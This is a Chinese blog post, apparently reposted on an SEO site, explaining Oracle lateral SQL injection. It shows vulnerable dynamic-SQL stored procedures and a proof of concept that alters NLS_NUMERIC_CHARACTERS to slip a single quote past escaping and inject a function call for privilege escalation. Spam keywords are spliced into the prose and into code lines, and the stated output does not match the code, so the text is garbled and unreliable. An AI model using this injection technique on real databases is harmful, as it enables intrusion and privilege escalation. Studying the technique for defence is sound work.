ORACLE LATERAL-SQL-INJECTION 個人見解建站知識
導讀:1建站知識最近忙啊忙啊的,今天終于有點點時間抽出來看看技術文章了,最近國外又出了關于新型ORA注入技術的PAPER,趕緊測試網站seo優化軟件網站seo優化課程。
如果直接執行SQL語句或者參數綁定則不用擔心太多, 如以下ORACLE存儲過程 create or replace procedure kjdatepoc(date d) as begin insert into kjdatetable values(d); seo網站關鍵詞優化commit; end; 根本不需要擔心遭受到SQL新型注入攻擊,那么在什么地方會發生DATE 以及 NUMBER的注入攻擊呢!?一般都是采用了動態SQL而又不采用參數綁定的語句。 例如工程師經常用的DBMS_SQL或者EXECUTE IMMEDIATE 看以下存儲過程 create or replace procedure kjdatepoc(date d) as begin execute immediate ‘insert into kjdatetable values('|| d ||')'; commit; end; 那么遇到以上的存儲過程或者函數等,也通過修改SESSION中的NLS_DATE_FORMAT中的值達到SQL注射的目的, 老外的PAPER講解得非常詳細了 ,我在這里也不廢話。 惟獨對于 NUMBER類型的注射沒有多作講解 只是簡單演示了可以輸出單引號! 看以下語句 ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.'; SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL; 輸出一下結果 1000′10001 只是多了一個單引號,那有什么用呢?樂觀的來說!在特定情況下是很有價值的!看以下一個存儲過程 create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2) is SecStr varchar2(1000); begin SecStr:=replace(kjexpstr,””,”””); sys.dbms_output.put_line網站建設哪家好('SELECT * FROM DUAL WHERE and name=”'||SecStr||””); end; 內部對varchar類型進行替換了!我們可以進行測試 begin numinjpoc(1000,”'–'); end; 其輸出SQL語句為 SELECT * FROM DUAL WHERE ID=1000 and name=”'–' 單引號被轉義掉了 那么如果我們結合這個NUMBER類型怎么進行注射呢? ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.'; begin numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–'); end; 看看輸出結果 SELECT * FROM DUAL WHERE||kj.exp()–' 這樣就可以間接的攻擊它… 在某中程度才來需要ALTER SESSION 配合后,再去攻擊系統內部的一些函數或者過程來提升網站建設多少錢權限。未嘗不是一種好的突破思路,但是對于單語句進行SQL注射攻擊,以結果為向導的話!這樣的方式沒多大作為。相關網站seo優化軟件網站seo優化課程。
聲明: 本文由我的SEOUC技術文章主頁發布于:2023-05-22 ,文章ORACLE LATERAL-SQL-INJECTION 個人見解建站知識主要講述見解,標簽,SQL網站建設源碼以及服務器配置搭建相關技術文章。轉載請保留鏈接: http://www.bifwcx.com/article/web_5262.html